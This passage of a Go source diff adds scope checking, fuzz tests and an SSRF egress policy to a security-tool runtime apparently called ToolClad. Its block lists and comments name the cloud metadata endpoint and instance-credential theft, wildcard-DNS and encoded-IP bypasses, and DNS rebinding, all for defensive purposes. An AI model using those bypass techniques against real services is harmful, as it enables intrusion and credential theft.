"os" + "path/filepath" + "sort" + "strings" + + "github.com/BurntSushi/toml" +) + +// EnvVar names the environment variable that points at a scope file. When +// set it takes precedence over the upward search, and a file it names that +// cannot be read is an error rather than a fallback. +const EnvVar = "TOOLCLAD_SCOPE_FILE" + +// ErrNoScope is the fail-closed refusal returned by Check when scope_check is +// enabled but no scope file was found. +var ErrNoScope = errors.New("scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)") + +// ScopeDef is the [scope] table of a scope file. +type ScopeDef struct { + AllowedDomains []string `toml:"allowed_domains"` + AllowedCIDRs []string `toml:"allowed_cidrs"` + BlockedDomains []string `toml:"blocked_domains"` + BlockedCIDRs []string `toml:"blocked_cidrs"` + // Path is the file the definition was loaded from, empty when built in + // memory. + Path string `toml:"-"` +} + +// scopeFile is the document shape of scope/scope.toml. +type scopeFile struct { + Scope ScopeDef `toml:"scope"` +} + +// allowedKeys is the complete key allowlist of a scope file. +var allowedKeys = map[string]bool{ + "allowed_domains": true, + "allowed_cidrs": true, + "blocked_domains": true, + "blocked_cidrs": true, +} + +// unknownKeys returns every key of a raw scope document outside the +// allowlist, as sorted dotted paths. A wholly unknown table is reported once +// by its own path. The check reads the raw table rather than the decoder's +// Undecoded() list, which is unreliable in the pinned decoder release. +func unknownKeys(raw map[string]any) []string { + var out []string + for k, v := range raw { + if k != "scope" { + out = append(out, toml.Key{k}.String()) + continue + } + tbl, ok := v.(map[string]any) + if !ok { + continue // a non-table [scope] is a decode error + } + for sk := range tbl { + if !allowedKeys[sk] { + out = append(out, toml.Key{"scope", sk}.String()) + } + } + } + sort.Strings(out) + return out +} + +// Parse decodes and validates scope file text. path is used in messages only. +func Parse(data []byte, path string) (*ScopeDef, error) { + var raw map[string]any + if err := toml.Unmarshal(data, &raw); err != nil { + return nil, fmt.Errorf("scope file %s: %w", path, err) + } + if unknown := unknownKeys(raw); len(unknown) > 0 { + msgs := make([]string, len(unknown)) + for i, k := range unknown { + msgs[i] = fmt.Sprintf("unknown key '%s' in scope file", k) + } + return nil, fmt.Errorf("scope file %s: %s", path, strings.Join(msgs, "; ")) + } + var f scopeFile + if err := toml.Unmarshal(data, &f); err != nil { + return nil, fmt.Errorf("scope file %s: %w", path, err) + } + if err := f.Scope.Validate(); err != nil { + return nil, fmt.Errorf("scope file %s: %w", path, err) + } + f.Scope.Path = path + return &f.Scope, nil +} + +// Load reads and validates the scope file at path. +func Load(path string) (*ScopeDef, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("reading scope file: %w", err) + } + return Parse(data, path) +} + +// Discover locates and loads the scope file for a manifest in manifestDir: +// the file named by TOOLCLAD_SCOPE_FILE when set, otherwise the first +// scope/scope.toml found walking upward from manifestDir (the process +// working directory when manifestDir is empty) to the filesystem root. It +// returns nil, nil when no file is found; the caller then fails closed. +func Discover(manifestDir string) (*ScopeDef, error) { + if p := os.Getenv(EnvVar); p != "" { + s, err := Load(p) + if err != nil { + return nil, fmt.Errorf("%s: %w", EnvVar, err) + } + return s, nil + } + dir := manifestDir + if dir == "" { + dir = "." + } + dir, err := filepath.Abs(dir) + if err != nil { + return nil, fmt.Errorf("resolving scope search directory: %w", err) + } + for { + candidate := filepath.Join(dir, "scope", "scope.toml") + info, statErr := os.Stat(candidate) + switch { + case statErr == nil && !info.IsDir(): + return Load(candidate) + case statErr != nil && !errors.Is(statErr, os.ErrNotExist): + return nil, fmt.Errorf("checking scope file %s: %w", candidate, statErr) + } + parent := filepath.Dir(dir) + if parent == dir { + return nil, nil + } + dir = parent + } +} + +// Validate checks every rule: CIDR rules must parse, and domain rules may +// contain only [a-z0-9.-] with non-empty labels, plus an optional leading +// "*." label. A "*" anywhere else is refused. +func (s *ScopeDef) Validate() error { + for _, list := range []struct { + key string + rules []string + }{ + {"allowed_domains", s.AllowedDomains}, + {"blocked_domains", s.BlockedDomains}, + } { + for _, r := range list.rules { + if err := validateDomainRule(r); err != nil { + return fmt.Errorf("%s: %w", list.key, err) + } + } + } + for _, list := range []struct { + key string + rules []string + }{ + {"allowed_cidrs", s.AllowedCIDRs}, + {"blocked_cidrs", s.BlockedCIDRs}, + } { + for _, r := range list.rules { + if _, err := parseRuleCIDR(r); err != nil { + return fmt.Errorf("%s: %w", list.key, err) + } + } + } + return nil +} + +func validateDomainRule(rule string) error { + name := strings.TrimPrefix(rule, "*.") + if name == "" { + return fmt.Errorf("invalid domain rule %q", rule) + } + for _, c := range name { + if !(c >= 'a' && c <= 'z' || c >= '0' && c <= '9' || c == '.' || c == '-') { + if c == '*' { + return fmt.Errorf("invalid domain rule %q: '*' is only permitted as a leading '*.' label", rule) + } + return fmt.Errorf("invalid domain rule %q: only lowercase letters, digits, '.' and '-' are permitted", rule) + } + } + for _, label := range strings.Split(name, ".") { + if label == "" { + return fmt.Errorf("invalid domain rule %q: empty label", rule) + } + } + return nil +} + +func parseRuleCIDR(rule string) (netip.Prefix, error) { + p, err := netip.ParsePrefix(rule) + if err != nil || p.Addr().Zone() != "" { + return netip.Prefix{}, fmt.Errorf("malformed CIDR %q", rule) + } + return unmapPrefix(p.Masked()), nil +} + +// unmapPrefix converts an IPv4-mapped IPv6 prefix to its IPv4 form. +func unmapPrefix(p netip.Prefix) netip.Prefix { + if a := p.Addr(); a.Is4In6() && p.Bits() >= 96 { + return netip.PrefixFrom(a.Unmap(), p.Bits()-96) + } + return p +} + +// IPInCIDR reports whether ip lies inside cidr. Malformed input is false. +func IPInCIDR(ip, cidr string) bool { + addr, err := netip.ParseAddr(ip) + if err != nil { + return false + } + p, err := parseRuleCIDR(cidr) + if err != nil { + return false + } + return p.Contains(addr.Unmap()) +} + +// HostMatchesRule reports whether host matches a domain rule: an exact rule +// matches the identical host case-insensitively; a "*.suffix" rule matches +// any host ending in ".suffix" — a strict subdomain at any depth, on a +// label boundary. +func HostMatchesRule(host, rule string) bool { + host = strings.ToLower(host) + rule = strings.ToLower(rule) + if suffix, ok := strings.CutPrefix(rule, "*."); ok { + return suffix != "" && strings.HasSuffix(host, "."+suffix) + } + return host == rule +} + +// Contains reports whether subject (a hostname, an IP literal, or a CIDR) is +// in scope: it matches no blocked rule and at least one allowed rule. +// Unparsable CIDR rules never match; call Validate to reject them. +func (s *ScopeDef) Contains(subject string) bool { + if addr, err := netip.ParseAddr(subject); err == nil { + addr = addr.Unmap() + match := func(rules []string) bool { + for _, r := range rules { + if p, err := parseRuleCIDR(r); err == nil && p.Contains(addr) { + return true + } + } + return false + } + return !match(s.BlockedCIDRs) && match(s.AllowedCIDRs) + } + if strings.Contains(subject, "/") { + sp, err := netip.ParsePrefix(subject) + if err != nil { + return false + } + sp = unmapPrefix(sp.Masked()) + for _, r := range s.BlockedCIDRs { + if p, err := parseRuleCIDR(r); err == nil && p.Overlaps(sp) { + return false + } + } + for _, r := range s.AllowedCIDRs { + if p, err := parseRuleCIDR(r); err == nil && + p.Addr().BitLen() == sp.Addr().BitLen() && + p.Bits() <= sp.Bits() && p.Contains(sp.Addr()) { + return true + } + } + return false + } + for _, r := range s.BlockedDomains { + if HostMatchesRule(subject, r) { + return false + } + } + for _, r := range s.AllowedDomains { + if HostMatchesRule(subject, r) { + return true + } + } + return false +} + +// Check is the scope_check decision for one subject: ErrNoScope when s is +// nil (fail closed), an error naming the subject when it is out of scope or +// the definition is invalid, and nil when it is in scope. +func Check(s *ScopeDef, subject string) error { + if s == nil { + return ErrNoScope + } + if err := s.Validate(); err != nil { + return fmt.Errorf("invalid scope definition: %w", err) + } + if !s.Contains(subject) { + return fmt.Errorf("target '%s' is not in scope", subject) + } + return nil +} diff --git a/go/pkg/scope/scope_test.go b/go/pkg/scope/scope_test.go new file mode 100644 index 0000000..038371c --- /dev/null +++ b/go/pkg/scope/scope_test.go @@ -0,0 +1,243 @@ +package scope + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +// scopeVectors mirrors the shared tests/scope_vectors.json file. +type scopeVectors struct { + Vectors struct { + IPv4InCIDR []struct { + IP string `json:"ip"` + CIDR string `json:"cidr"` + Expected bool `json:"expected"` + } `json:"ipv4_in_cidr"` + IPv6InCIDR []struct { + IP string `json:"ip"` + CIDR string `json:"cidr"` + Expected bool `json:"expected"` + } `json:"ipv6_in_cidr"` + HostnameWildcardMatch []struct { + Hostname string `json:"hostname"` + Pattern string `json:"pattern"` + Expected bool `json:"expected"` + } `json:"hostname_wildcard_match"` + } `json:"vectors"` +} + +func TestSharedScopeVectorsHelpers(t *testing.T) { + data, err := os.ReadFile(filepath.Join("..", "..", "..", "tests", "scope_vectors.json")) + if errors.Is(err, os.ErrNotExist) { + t.Skip("tests/scope_vectors.json not present; shared scope vectors skipped") + } + if err != nil { + t.Fatal(err) + } + var v scopeVectors + if err := json.Unmarshal(data, &v); err != nil { + t.Fatal(err) + } + if len(v.Vectors.IPv4InCIDR) == 0 || len(v.Vectors.IPv6InCIDR) == 0 || len(v.Vectors.HostnameWildcardMatch) == 0 { + t.Fatal("scope vector sections missing") + } + for _, c := range append(v.Vectors.IPv4InCIDR, v.Vectors.IPv6InCIDR...) { + if got := IPInCIDR(c.IP, c.CIDR); got != c.Expected { + t.Errorf("IPInCIDR(%q, %q) = %v, want %v", c.IP, c.CIDR, got, c.Expected) + } + } + for _, c := range v.Vectors.HostnameWildcardMatch { + if got := HostMatchesRule(c.Hostname, c.Pattern); got != c.Expected { + t.Errorf("HostMatchesRule(%q, %q) = %v, want %v", c.Hostname, c.Pattern, got, c.Expected) + } + } +} + +func writeScope(t *testing.T, dir, content string) string { + t.Helper() + if err := os.MkdirAll(filepath.Join(dir, "scope"), 0o755); err != nil { + t.Fatal(err) + } + p := filepath.Join(dir, "scope", "scope.toml") + if err := os.WriteFile(p, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + return p +} + +func TestContainsMatching(t *testing.T) { + s := &ScopeDef{ + AllowedDomains: []string{"example.com", "*.example.com"}, + AllowedCIDRs: []string{"10.0.1.0/24", "2001:db8::/32"}, + BlockedDomains: []string{"admin.example.com"}, + BlockedCIDRs: []string{"10.0.1.128/25"}, + } + cases := []struct { + subject string + want bool + }{ + {"example.com", true}, + {"EXAMPLE.com", true}, + {"app.example.com", true}, + {"deep.sub.example.com", true}, + {"evil-example.com", false}, + {"example.com.evil.com", false}, + {"admin.example.com", false}, // blocked beats allowed + {"x.admin.example.com", true}, // an exact blocked rule does not cover subdomains + {"10.0.1.5", true}, + {"10.0.1.200", false}, // blocked range + {"10.0.2.5", false}, + {"::ffff:10.0.1.5", true}, + {"10.0.1.0/26", true}, // fully contained + {"10.0.1.0/25", true}, // fully contained, no overlap with the block + {"10.0.1.0/24", false}, // overlaps the blocked half + {"10.0.0.0/8", false}, // not contained + {"2001:db8:1::/48", true}, + {"2001:db8::/16", false}, + {"2001:db8::1", true}, + } + for _, c := range cases { + if got := s.Contains(c.subject); got != c.want { + t.Errorf("Contains(%q) = %v, want %v", c.subject, got, c.want) + } + } +} + +func TestEmptyScopeAllowsNothing(t *testing.T) { + s := &ScopeDef{} + for _, subj := range []string{"example.com", "10.0.0.1", "10.0.0.0/24"} { + if s.Contains(subj) { + t.Errorf("empty scope contains %q", subj) + } + } +} + +func TestCheckMessages(t *testing.T) { + if err := Check(nil, "example.com"); err == nil || err.Error() != ErrNoScope.Error() { + t.Fatalf("nil scope: got %v", err) + } + s := &ScopeDef{AllowedDomains: []string{"example.com"}} + if err := Check(s, "example.com"); err != nil { + t.Fatal(err) + } + if err := Check(s, "evil.com"); err == nil || err.Error() != "target 'evil.com' is not in scope" { + t.Fatalf("got %v", err) + } + bad := &ScopeDef{AllowedCIDRs: []string{"10.0.0.0/33"}} + if err := Check(bad, "10.0.0.1"); err == nil { + t.Fatal("invalid scope definition accepted") + } +} + +func TestParseRejectsBadFiles(t *testing.T) { + cases := map[string]string{ + "unknown key": "[scope]\nallowed_domains = []\nallowed_hosts = []\n", + "unknown table": "[scope]\nallowed_domains = []\n[extra]\nx = 1\n", + "malformed cidr": "[scope]\nallowed_cidrs = [\"10.0.1.0/33\"]\n", + "not a cidr": "[scope]\nblocked_cidrs = [\"example.com\"]\n", + "inner wildcard": "[scope]\nallowed_domains = [\"app.*.example.com\"]\n", + "bare wildcard": "[scope]\nallowed_domains = [\"*\"]\n", + "trailing wildcard": "[scope]\nallowed_domains = [\"example.*\"]\n", + "uppercase": "[scope]\nallowed_domains = [\"Example.com\"]\n", + "bad character": "[scope]\nblocked_domains = [\"exa_mple.com\"]\n", + "empty label": "[scope]\nallowed_domains = [\"example..com\"]\n", + "wrong value type": "[scope]\nallowed_domains = \"example.com\"\n", + } + for name, content := range cases { + if _, err := Parse([]byte(content), "scope.toml"); err == nil { + t.Errorf("%s: accepted", name) + } + } + if _, err := Parse([]byte("[scope]\nallowed_hosts = []\n"), "scope.toml"); err == nil || + !strings.Contains(err.Error(), "unknown key 'scope.allowed_hosts' in scope file") { + t.Errorf("unknown key message: %v", err) + } + s, err := Parse([]byte("[scope]\nallowed_domains = [\"example.com\", \"*.example.com\"]\nallowed_cidrs = [\"10.0.1.0/24\"]\nblocked_domains = []\nblocked_cidrs = []\n"), "scope.toml") + if err != nil { + t.Fatal(err) + } + if len(s.AllowedDomains) != 2 || len(s.AllowedCIDRs) != 1 { + t.Fatalf("parsed %+v", s) + } +} + +func TestRepositoryScopeFileLoads(t *testing.T) { + p := filepath.Join("..", "..", "..", "scope", "scope.toml") + if _, err := os.Stat(p); err != nil { + t.Skip("repository scope file not present") + } + if _, err := Load(p); err != nil { + t.Fatal(err) + } +} + +func TestDiscoverEnvVarWins(t *testing.T) { + root := t.TempDir() + writeScope(t, root, "[scope]\nallowed_domains = [\"walk.example\"]\n") + envFile := filepath.Join(t.TempDir(), "custom.toml") + if err := os.WriteFile(envFile, []byte("[scope]\nallowed_domains = [\"env.example\"]\n"), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv(EnvVar, envFile) + s, err := Discover(root) + if err != nil { + t.Fatal(err) + } + if s == nil || len(s.AllowedDomains) != 1 || s.AllowedDomains[0] != "env.example" { + t.Fatalf("env var did not win: %+v", s) + } +} + +func TestDiscoverUnreadableEnvVarIsError(t *testing.T) { + root := t.TempDir() + writeScope(t, root, "[scope]\nallowed_domains = [\"walk.example\"]\n") + t.Setenv(EnvVar, filepath.Join(t.TempDir(), "missing.toml")) + if s, err := Discover(root); err == nil { + t.Fatalf("missing TOOLCLAD_SCOPE_FILE fell back to %+v", s) + } +} + +func TestDiscoverWalksUpward(t *testing.T) { + t.Setenv(EnvVar, "") + root := t.TempDir() + writeScope(t, root, "[scope]\nallowed_domains = [\"walk.example\"]\n") + deep := filepath.Join(root, "a", "b", "c") + if err := os.MkdirAll(deep, 0o755); err != nil { + t.Fatal(err) + } + s, err := Discover(deep) + if err != nil { + t.Fatal(err) + } + if s == nil || s.AllowedDomains[0] != "walk.example" { + t.Fatalf("upward walk did not find the file: %+v", s) + } + if s.Path != filepath.Join(root, "scope", "scope.toml") { + t.Errorf("Path = %q", s.Path) + } +} + +func TestDiscoverMalformedFoundFileIsError(t *testing.T) { + t.Setenv(EnvVar, "") + root := t.TempDir() + writeScope(t, root, "[scope]\nallowed_cidrs = [\"bad\"]\n") + if _, err := Discover(root); err == nil { + t.Fatal("malformed scope file accepted") + } +} + +func TestDiscoverNotFound(t *testing.T) { + t.Setenv(EnvVar, "") + dir := t.TempDir() + s, err := Discover(dir) + if err != nil { + t.Fatal(err) + } + if s != nil { + t.Skipf("a scope file exists above the temp directory (%s); not-found case cannot be exercised", s.Path) + } +} diff --git a/go/pkg/validator/fuzz_test.go b/go/pkg/validator/fuzz_test.go new file mode 100644 index 0000000..999c9e7 --- /dev/null +++ b/go/pkg/validator/fuzz_test.go @@ -0,0 +1,79 @@ +package validator + +import ( + "errors" + "strings" + "testing" + "unicode" + + "github.com/thirdkeyai/toolclad/pkg/manifest" +) + +// fuzzDefs are the string-derived argument definitions the fuzzer drives, +// none with block_internal, so no input can cause a DNS lookup. +var fuzzDefs = []*manifest.ArgDef{ + {Name: "v", Type: "string"}, + {Name: "v", Type: "string", Pattern: "^[a-z0-9.:/_-]+$"}, + {Name: "v", Type: "path"}, + {Name: "v", Type: "regex_match", Pattern: ".*"}, + {Name: "v", Type: "url"}, + {Name: "v", Type: "url", Schemes: []string{"http", "https", "ftp"}}, + {Name: "v", Type: "scope_target"}, + {Name: "v", Type: "duration"}, + {Name: "v", Type: "msf_options"}, +} + +// checkHygieneProperty reports the first hygiene rule an accepted value +// breaks for def (none of the fuzz definitions opts in to anything): +// no whitespace (msf_options may use the ASCII space), no quote or +// backslash, no control character, no leading '-' or '+'. +func checkHygieneProperty(def *manifest.ArgDef, out string) error { + for _, r := range out { + switch { + case unicode.IsControl(r) || (r >= 0x7f && r <= 0x9f): + return errors.New("control character in output") + case unicode.IsSpace(r) && !(def.Type == "msf_options" && r == ' '): + return errors.New("whitespace in output") + case r == '\'' || r == '"' || r == '\\': + return errors.New("quote or backslash in output") + } + } + if strings.HasPrefix(out, "-") || strings.HasPrefix(out, "+") { + return errors.New("leading '-' or '+' in output") + } + return nil +} + +// FuzzValidateArg checks that the strict validator never panics and never +// accepts a value whose output violates the hygiene rules for a +// string-derived type. The seed corpus is every value of the shared +// injection-vector suite, crossed with every fuzz definition. +func FuzzValidateArg(f *testing.F) { + seeds := []string{"", "example.com", "https://example.com/a", "a b", "-x", "5m", "RHOSTS 10.0.0.1"} + if vectors, ok := loadInjectionVectors(f); ok { + for _, v := range vectors.ArgVectors { + seeds = append(seeds, v.Value) + } + } + for _, s := range seeds { + for i := range fuzzDefs { + f.Add(uint8(i), s) + } + } + f.Fuzz(func(t *testing.T, which uint8, value string) { + def := fuzzDefs[int(which)%len(fuzzDefs)] + for _, execMode := range []bool{false, true} { + out, err := ValidateArgMode(def, value, execMode) + if err != nil { + var ve *ValidationError + if !errors.As(err, &ve) { + t.Fatalf("%s: unexpected error type %T: %v", def.Type, err, err) + } + continue + } + if perr := checkHygieneProperty(def, out); perr != nil { + t.Fatalf("%s (exec=%v): %v: input %q, output %q", def.Type, execMode, perr, value, out) + } + } + }) +} diff --git a/go/pkg/validator/hostpolicy.go b/go/pkg/validator/hostpolicy.go new file mode 100644 index 0000000..6c39def --- /dev/null +++ b/go/pkg/validator/hostpolicy.go @@ -0,0 +1,397 @@ +package validator + +import ( + "context" + "fmt" + "net" + "net/netip" + "strconv" + "strings" + "time" +) + +// This file is the single home of the host / IP egress policy. Every place a +// literal address can reach a tool — scope_target (including the base +// address of a CIDR), the host of a url, ip_address and cidr — goes through +// enforceIPPolicy, so the range table below can be compared side by side +// with the same table in the other ToolClad runtimes. +// +// Two tiers: +// +// - alwaysBlocked ranges are refused with or without block_internal. They +// hold the link-local space, which contains the cloud metadata endpoint +// 169.254.169.254; no tool has a legitimate reason to reach it and the +// blast radius (instance-credential theft) is maximal. +// - nonPublic ranges are refused only when the argument sets +// block_internal = true, so tools that legitimately target internal +// hosts keep working without the opt-in. +// +// IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) are unwrapped before lookup, so +// the mapped form of every entry is covered by the IPv4 table. +// +// A name can reach a blocked address without spelling it as a literal, so the +// same table is also applied through three name-side controls: +// +// - the internal-name denylist (enforceInternalName) refuses localhost and +// the private-use suffixes unconditionally; +// - an IP literal embedded in a hostname (embeddedIPLiteral) is extracted +// and put through the range policy before the value is treated as a +// name, closing the wildcard-DNS bypass (127.0.0.1.nip.io); +// - under block_internal every A/AAAA answer for a name is put through the +// range policy (enforceResolvedPolicy), failing closed when the name +// cannot be resolved. +// +// A CIDR value is tested for overlap with every blocked range +// (enforceCIDRPolicy), not just by its base address, so a supernet such as +// 8.0.0.0/5 cannot smuggle 10.0.0.0/8 past the policy. + +// blockedRange pairs a prefix with the reason reported when a target falls +// inside it. Tables are matched first-hit, so a narrower prefix must precede +// any wider one that contains it (255.255.255.255/32 before 240.0.0.0/4). +type blockedRange struct { + prefix netip.Prefix + reason string +} + +// alwaysBlocked is applied regardless of block_internal. +var alwaysBlocked = []blockedRange{ + {netip.MustParsePrefix("169.254.0.0/16"), "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked"}, + {netip.MustParsePrefix("fe80::/10"), "is an IPv6 link-local address (fe80::/10) — always blocked"}, +} + +// nonPublicV4 is applied, after unmapping, when block_internal = true. +var nonPublicV4 = []blockedRange{ + {netip.MustParsePrefix("127.0.0.0/8"), "resolves to a loopback address"}, + {netip.MustParsePrefix("10.0.0.0/8"), "resolves to a private address"}, + {netip.MustParsePrefix("172.16.0.0/12"), "resolves to a private address"}, + {netip.MustParsePrefix("192.168.0.0/16"), "resolves to a private address"}, + {netip.MustParsePrefix("100.64.0.0/10"), "is a carrier-grade NAT address (100.64.0.0/10)"}, + {netip.MustParsePrefix("0.0.0.0/8"), "is the unspecified address 0.0.0.0"}, + {netip.MustParsePrefix("255.255.255.255/32"), "is the broadcast address"}, + {netip.MustParsePrefix("192.0.2.0/24"), "is a documentation-range address"}, + {netip.MustParsePrefix("198.51.100.0/24"), "is a documentation-range address"}, + {netip.MustParsePrefix("203.0.113.0/24"), "is a documentation-range address"}, + {netip.MustParsePrefix("198.18.0.0/15"), "is a benchmarking-range address (198.18.0.0/15)"}, + {netip.MustParsePrefix("240.0.0.0/4"), "is a reserved-range address (240.0.0.0/4)"}, +} + +// nonPublicV6 is applied to addresses that are not IPv4-mapped when +// block_internal = true. +var nonPublicV6 = []blockedRange{ + {netip.MustParsePrefix("::1/128"), "resolves to the IPv6 loopback ::1"}, + {netip.MustParsePrefix("::/128"), "is the IPv6 unspecified address ::"}, + {netip.MustParsePrefix("fc00::/7"), "is an IPv6 unique-local address (fc00::/7)"}, + {netip.MustParsePrefix("fe80::/10"), "is an IPv6 link-local address (fe80::/10)"}, + {netip.MustParsePrefix("2001:db8::/32"), "is an IPv6 documentation-range address (2001:db8::/32)"}, +} + +// matchRange returns the reason of the first table entry containing addr. +func matchRange(table []blockedRange, addr netip.Addr) string { + for _, r := range table { + if r.prefix.Contains(addr) { + return r.reason + } + } + return "" +} + +// alwaysBlockedIPReason returns why addr must be refused regardless of +// policy, or "" if it is not in an always-blocked range. IPv4-mapped IPv6 is +// unwrapped first so ::ffff:169.254.169.254 is caught. +func alwaysBlockedIPReason(addr netip.Addr) string { + return matchRange(alwaysBlocked, addr.Unmap()) +} + +// nonPublicIPReason returns why addr is a non-public address that SSRF +// defenses should block under block_internal, or "" if it is public. +// IPv4-mapped IPv6 is unwrapped first so ::ffff:127.0.0.1 is caught. +func nonPublicIPReason(addr netip.Addr) string { + addr = addr.Unmap() + if addr.Is4() { + return matchRange(nonPublicV4, addr) + } + return matchRange(nonPublicV6, addr) +} + +// enforceIPPolicy applies the egress policy to a literal target address: +// link-local / metadata is always refused; the remaining non-public ranges +// are refused only when the argument opted in with block_internal. +func enforceIPPolicy(argName string, addr netip.Addr, blockInternal bool) error { + if reason := alwaysBlockedIPReason(addr); reason != "" { + return newErr(argName, fmt.Sprintf("target %s", reason)) + } + if blockInternal { + if reason := nonPublicIPReason(addr); reason != "" { + return newErr(argName, fmt.Sprintf("target %s (blocked by block_internal policy)", reason)) + } + } + return nil +} + +// matchRangeOverlap returns the reason of the first table entry whose range +// shares any address with prefix. Overlap, not containment of the base +// address, is the right test for a range: 8.0.0.0/5 has a public base but +// covers all of 10.0.0.0/8. netip.Prefix.Overlaps reports false across +// address families, so one pass over a mixed table is safe. +func matchRangeOverlap(table []blockedRange, prefix netip.Prefix) string { + for _, r := range table { + if r.prefix.Overlaps(prefix) { + return r.reason + } + } + return "" +} + +// unmapPrefix converts an IPv4-mapped IPv6 prefix (::ffff:a.b.c.d/n with +// n >= 96) to its IPv4 form so the IPv4 table covers it, mirroring what +// Addr.Unmap does for single addresses. Any other prefix is returned as is. +func unmapPrefix(prefix netip.Prefix) netip.Prefix { + addr := prefix.Addr() + if addr.Is4In6() && prefix.Bits() >= 96 { + return netip.PrefixFrom(addr.Unmap(), prefix.Bits()-96) + } + return prefix +} + +// enforceCIDRPolicy applies the egress policy to a range target: refused if +// it overlaps the link-local / metadata space at all, and, under +// block_internal, if it overlaps any non-public range. Both IPv4 and IPv6 +// prefixes are handled; the policy messages are the same ones a literal +// address inside the range would receive. +func enforceCIDRPolicy(argName string, prefix netip.Prefix, blockInternal bool) error { + prefix = unmapPrefix(prefix) + if reason := matchRangeOverlap(alwaysBlocked, prefix); reason != "" { + return newErr(argName, fmt.Sprintf("target %s", reason)) + } + if blockInternal { + table := nonPublicV6 + if prefix.Addr().Is4() { + table = nonPublicV4 + } + if reason := matchRangeOverlap(table, prefix); reason != "" { + return newErr(argName, fmt.Sprintf("target %s (blocked by block_internal policy)", reason)) + } + } + return nil +} + +// internalNameSuffixes are the private-use and site-local DNS suffixes that +// never name a public host. A target under one of them is refused with or +// without block_internal, alongside the exact names in isInternalName. +var internalNameSuffixes = []string{ + ".localhost", + ".local", + ".internal", + ".home.arpa", + ".lan", + ".intranet", + ".corp", + ".private", +} + +// isInternalName reports whether host is on the internal-name denylist: +// exactly localhost or metadata.google.internal, or any name under one of +// internalNameSuffixes. The comparison is case-insensitive and ignores one +// trailing dot, so a fully-qualified spelling cannot sidestep it. +func isInternalName(host string) bool { + h := strings.ToLower(strings.TrimSuffix(host, ".")) + if h == "localhost" || h == "metadata.google.internal" { + return true + } + for _, suffix := range internalNameSuffixes { + if strings.HasSuffix(h, suffix) { + return true + } + } + return false +} + +// enforceInternalName refuses a host on the internal-name denylist. This is +// unconditional: an internal name is never a legitimate egress target, and +// resolving it would only confirm what the name already says. +func enforceInternalName(argName, host string) error { + if isInternalName(host) { + return newErr(argName, "target resolves to an internal name — always blocked") + } + return nil +} + +// embeddedIPLiteral returns the IPv4 address a hostname spells in its +// leading labels, which wildcard-DNS services (nip.io, sslip.io, xip.io) +// resolve to that address: either the first four dot-separated labels form +// a canonical dotted quad (127.0.0.1.nip.io) or the first label is a dashed +// quad (10-0-0-1.nip.io). The shape alone is not a refusal — the caller puts +// the address through the range policy, so 93-184-216-34.example.com stays +// an ordinary hostname. +func embeddedIPLiteral(host string) (netip.Addr, bool) { + labels := strings.Split(host, ".") + if len(labels) >= 4 { + if addr, ok := parseCanonicalIP(strings.Join(labels[:4], ".")); ok && addr.Is4() { + return addr, true + } + } + return parseDashedQuad(labels[0]) +} + +// parseDashedQuad parses a label of four 1-3 digit groups separated by "-", +// each 0-255, into an IPv4 address. +func parseDashedQuad(label string) (netip.Addr, bool) { + groups := strings.Split(label, "-") + if len(groups) != 4 { + return netip.Addr{}, false + } + var octets [4]byte + for i, g := range groups { + if len(g) == 0 || len(g) > 3 || !allASCIIDigits(g) { + return netip.Addr{}, false + } + n, err := strconv.Atoi(g) + if err != nil || n > 255 { + return netip.Addr{}, false + } + octets[i] = byte(n) + } + return netip.AddrFrom4(octets), true +} + +// resolveTimeout bounds the DNS lookup made for a name under block_internal. +const resolveTimeout = 2 * time.Second + +// lookupHost returns every A/AAAA answer for host, IPv4-mapped forms +// unwrapped. It is a package variable so tests can substitute a fixed +// answer table and never depend on live DNS; the default is the system +// resolver under a bounded context. +var lookupHost = func(host string) ([]netip.Addr, error) { + ctx, cancel := context.WithTimeout(context.Background(), resolveTimeout) + defer cancel() + answers, err := net.DefaultResolver.LookupIPAddr(ctx, host) + if err != nil { + return nil, err + } + addrs := make([]netip.Addr, 0, len(answers)) + for _, a := range answers { + if addr, ok := netip.AddrFromSlice(a.IP); ok { + addrs = append(addrs, addr.Unmap()) + } + } + return addrs, nil +} + +// enforceResolvedPolicy is the block_internal control for a name that is +// not a literal and was not caught by the denylist or the embedded-literal +// rule: the name is resolved and every answer is put through the range +// policy, so a name pointing at an internal address — by attacker-controlled +// DNS or by rebinding — is refused. A name that cannot be resolved cannot be +// shown to be public, so resolution failure is a refusal, not a pass. +// +// The lookup here is a check, not a binding: between this answer and the +// tool's own connect a rebinding resolver can hand back a different +// address. A runtime that wants to close that window should pin the +// address this check saw into the invocation (for example +// `curl --resolve host:443:ip`) rather than letting the tool resolve again. +func enforceResolvedPolicy(argName, host string) error { + addrs, err := lookupHost(host) + if err != nil || len(addrs) == 0 { + return newErr(argName, fmt.Sprintf("could not resolve host '%s' to verify it is public (block_internal)", host)) + } + for _, addr := range addrs { + if err := enforceIPPolicy(argName, addr, true); err != nil { + return err + } + } + return nil +} + +// parseCanonicalIP parses only canonical IP text: dotted-quad IPv4 with +// decimal octets and no leading zeros, or standard IPv6 without a zone. +// Integer (2130706433), hex (0x7f000001), octal (0177.0.0.1) and shorthand +// (127.1) encodings — all of which a libc resolver would expand to +// 127.0.0.1 — fail here by construction and are caught by +// looksLikeIPLiteral instead. +func parseCanonicalIP(val string) (netip.Addr, bool) { + addr, err := netip.ParseAddr(val) + if err != nil || addr.Zone() != "" { + return netip.Addr{}, false + } + return addr, true +} + +// looksLikeIPLiteral reports whether val is an attempt at an IP literal in a +// non-canonical encoding: a 0x… hex form, or every dot-separated label is +// all ASCII digits (integer / dotted-decimal / octal / shorthand). Canonical +// IPs are handled by parseCanonicalIP first and never reach here. +func looksLikeIPLiteral(val string) bool { + if len(val) >= 2 && strings.EqualFold(val[:2], "0x") { + return true + } + for _, label := range strings.Split(val, ".") { + if label == "" || !allASCIIDigits(label) { + return false + } + } + return true +} + +// tldNotAllNumeric reports whether the rightmost DNS label is non-empty and +// not entirely numeric. A real TLD is never all digits (RFC 3696 §2), so +// this rejects e.g. example.123, dotted-decimal IPs that slipped past the +// literal parser, and a trailing-dot form whose last label is empty. +func tldNotAllNumeric(val string) bool { + labels := strings.Split(val, ".") + tld := labels[len(labels)-1] + return tld != "" && !allASCIIDigits(tld) +} + +func allASCIIDigits(s string) bool { + for i := 0; i < 